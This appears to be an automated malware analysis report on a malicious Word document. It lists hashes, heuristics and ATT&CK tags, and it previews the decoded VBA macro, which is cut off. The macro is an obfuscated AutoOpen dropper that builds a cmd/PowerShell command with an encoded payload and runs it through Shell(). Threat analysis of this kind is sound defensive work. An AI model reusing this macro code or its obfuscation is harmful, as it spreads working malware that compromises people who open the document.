Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2d8696db9d37740…

MALICIOUS

Office (OLE)

113.5 KB Created: 2018-06-05 06:27:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 03d2f5564ea45eb2a153c53a903174ab SHA-1: 81a7433bf6fc2b667e1bfe2a3e98e18f7ed65cc7 SHA-256: f2d8696db9d37740cd17c64be38027ea97abd5f9d3a3fb524e9adab29bb416b6
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an AutoOpen macro, which is designed to execute automatically when the document is opened. The AutoOpen macro calls a function that uses the Shell() command to execute a string. This string appears to be constructed from concatenated parts, ultimately forming a command that likely downloads and executes a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6574376-0' further supports the dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6574376-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6574376-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11820 bytes
SHA-256: 0ed71aa3aeb416a323a30d3dc5addba5d693f2eaffaa2f2d6999acae078d4290
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "roBZfBzD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function GYFDfAjlV()
On Error Resume Next
RvjICM = Hex(MsFzQY + Hex(qsOiM) * 35657 + Round(diXQB))
fCwZw = Cos(dnPGoJ)
lrJOc = CDate(bTpvs)
zlVnNM = Cos(BwRKvj)
Zuibm = Hex(UzjiU + Hex(usZuq) * 12185 + Round(izFIz))
tvHQT = Cos(Nhazjl)
ISazE = CDate(TuSzcE)
ErCDUm = Cos(asiMhN)
GYFDfAjlV = lCVRBS + Shell(ZHsZMrUqPdf + Chr(ZlUiaWjAPAQ + vbKeyC + RwvnzTME) + RrwQa + DLTnj + ckzCXC + HPIHIHtXs + uHEUtTRFiG + AVrOKuzBw + QaEPPaY, 7104 - 7104)
GlTvsJ = Hex(zlDzBR + Hex(HbvfLs) * 53484 + Round(fXduC))
QoNSrt = Cos(IwEju)
HGwETU = CDate(TQjhV)
VlGwS = Cos(Hphwqh)
End Function
Sub Autoopen()
On Error Resume Next
XSwdq = Hex(RuUOhS + Hex(ZzUzF) * 62488 + Round(WXbCBm))
nIaKIX = Cos(zkUns)
EaBWYd = CDate(YIVhr)
knzqw = Cos(ELdluE)
GYFDfAjlV
vAcOz = Hex(NvrwW + Hex(dYiMf) * 76223 + Round(SzmWzt))
MnZbo = Cos(RAiHv)
VWiNtq = CDate(lTDZwz)
CmZJif = Cos(bzZWQ)
End Sub


Attribute VB_Name = "PncqXQmS"
Function RrwQa()
On Error Resume Next
aJXFLI = Hex(cANuXw + Hex(FwQqkl) * 63503 + Round(ZOkdbf))
LsnCV = Cos(XXfFK)
HjSdz = CDate(mzFpR)
bCljJ = Cos(hhzSp)
AKvGHmRa = "md ad" + "JwCAqpXtmlDk " + "LSFzT" + "IKSAaMRzjQ" + "vfv"
HUdWh = Hex(lkaMZ + Hex(HkmEo) * 61942 + Round(VbSaS))
nOKYdZ = Cos(qzWdwP)
jEjuP = CDate(ccYids)
NUspt = Cos(mtKaM)
vwRnzn = "GGOUTPKSq C" + "NjvY" + "qGAsM &" + "     %" + "^c^o^m^S^p^E^c" + "^%     %^c^o^m"
mkSJOJ = Hex(ZOYRu + Hex(LqHLp) * 53279 + Round(kGbWEh))
ldYWdU = Cos(drKSJZ)
TEoCw = CDate(iUiiU)
RMfJwF = Cos(ZVvqBn)
ijHsJlZ = "^S^p^E^c^%  " + "   /V         " + "/c       " + "    set %qPKI" + "YpjqurcqFI" + "i%=zw" + "ljJpUwwNcW&&s"
Ziwztj = Hex(YRBmT + Hex(PBRzp) * 4467 + Round(DlziON))
AzYOnP = Cos(sAWhp)
wsuiWd = CDate(SYEwAz)
XokPj = Cos(EBYtmz)
diLjIcz = "et %WiJIA" + "Sm" + "wj%=p" + "&&set " + "%rzzonfl%=o" + "^w" + "&&set %" + "bFZPCSF" + "qvFwdjTY%="
RrwQa = AKvGHmRa + vwRnzn + ijHsJlZ + diLjIcz
End Function
Function DLTnj()
On Error Resume Next
iXAuR = Hex(OiKqS + Hex(kOJcv) * 53761 + Round(oHADP))
wJjvT = Cos(rWZQu)
Jizla = CDate(zRDwR)
ZdRYLw = Cos(TloSri)
aKRmZGt = "sLHbRrtIPJDAvO&" + "&set" + " %Cvri" + "Ovkwj%=!%"
qqbpLz = Hex(ElzOD + Hex(oGzDAr) * 79835 + Round(qjSLd))
bmVLIG = Cos(WHqNmU)
UsUKIP = CDate(NnkSzo)
AHJii = Cos(nSPlG)
CzWNb = "WiJIASm" + "wj" + "%!&&s" + "et %KKM" + "NPoSNnm" + "DnmrC%=D" + "pQVEmFB&&s" + "et %b" + "QVBsmtzW" + "u%=e^r&&set %"
tRwHpN = Hex(JAzOI + Hex(OqNzk) * 86853 + Round(SVWAh))
EGsCdi = Cos(LVbPf)
EciQCs = CDate(bTXZT)
swiYvz = Cos(GJQRwU)
ikSJL = "LhHAPz" + "JzXBwC%=!%rzzo" + "nfl" + "%!&&set %UIG" + "wQEcwdW" + "%=" + "s&" + "&set %FkMRAtPEv" + "hvlRSE%=jfXUYd" + "EBG"
ErsOwU = Hex(ofnFTI + Hex(IkiSjw) * 81023 + Round(hzjRE))
vMNShM = Cos(jbJbzo)
SrSbp = CDate(wYizPV)
zKvhhP = Cos(sTZmm)
vvrAHnAS = "HFN" + "&&set %QLDUkvvi" + "%=he&&set %DvLJ" + "jtVqX%=ll&&!%" + "CvriOvkwj%!!%L" + "hHA" + "PzJz" + "XBwC%" + "!!%bQVBsmtz" + "Wu"
kYJYrk = Hex(lmqiF + Hex(KqXdOD) * 23700 + Round(wZfct))
nLzRjp = Cos(KZOJHi)
DMTRb = CDate(FKVpL)
ZZnzdw = Cos(AWanZw)
hDYSir = "%!!%U" + "IGwQE" + "cwdW%!!%QLDUkvv" + "i%!!%Dv" + "LJjtVqX%" + "!  -e IAAuAC" + "AAKAAgACgAW" + "wBT" + "AHQAUgBp" + "AE4A"
hAQIT = Hex(YASkF + Hex(Aoicq) * 18758 + Round(wPUWa))
NKdodZ = Cos(SLYFtM)
FLYGC = CDate(PwJWtj)
TBBMdq = Cos(GvuLp)
jwspmz = "ZwBdACQAdgB" + "lAFIAQgBv" + "AF" + "MAZQ" + "BQAFIAZQBmAGUAU" + "gBFAG4A" + "YwBlACkAWw"
LvoQY = Hex(inzlqO + Hex(hVRBH) * 90511 + Round(vaQKLc))
oPJQM = Cos(rhTHt)
KFpUQK = CDate(IJBpun)
vPkfi = Cos(wfpXq)
QzRFAKwGPuP = "AxACwA" + "Mw" + "BdACsA" + "JwB4ACcAL" + "QB" + "KAE8AS" + "QBuAC"
dzdzC = Hex(IJkoF + Hex(AzNTt) * 74415 + Round(PcvVbw))
coBiPS = Cos(vjAfKw)
mijHKi = CDate(frdmDw)
shbCCP = Cos(TIFYnc)
vmOzKS = "cAJwApA" + "CAAKAAgA" + "E4" + "ARQBXAC" + "0AbwBiAEo" + "AZQBD" + "
... (truncated)

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